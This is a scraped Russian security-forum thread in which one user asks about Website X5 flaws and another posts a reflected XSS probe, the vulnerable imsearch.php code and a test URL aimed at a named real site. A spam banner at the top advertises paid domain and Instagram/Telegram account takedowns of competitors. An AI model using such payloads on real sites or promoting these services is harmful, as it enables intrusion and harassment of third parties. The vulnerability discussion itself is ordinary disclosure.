УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Уязвимости в Website x5

Опции темы

Поиск в этой теме

Опции просмотра

10.01.2013, 05:29

SofiaLoar

Новичок

Регистрация: 26.04.2026

Сообщений: 0

Провел на форуме:
0

Репутация: 0

Кто-нибудь знает что-нибудь про это?

http://www.websitex5.com/

http://www.websitexs.ru/

пример сайта - http://islam44.com/

10.01.2013, 05:37

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

Провел на форуме:
11937

Репутация: 0

XSS:

В поле поиска на сайте вбейте ">alert(111)

Уязвимый кусок кода imsearch.php:

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]imSearch[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]]);

}[/COLOR][/COLOR]

Пример:

Цитата:

Сообщение от None

http://islam44.com/imsearch.php?search=">alert(111)

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход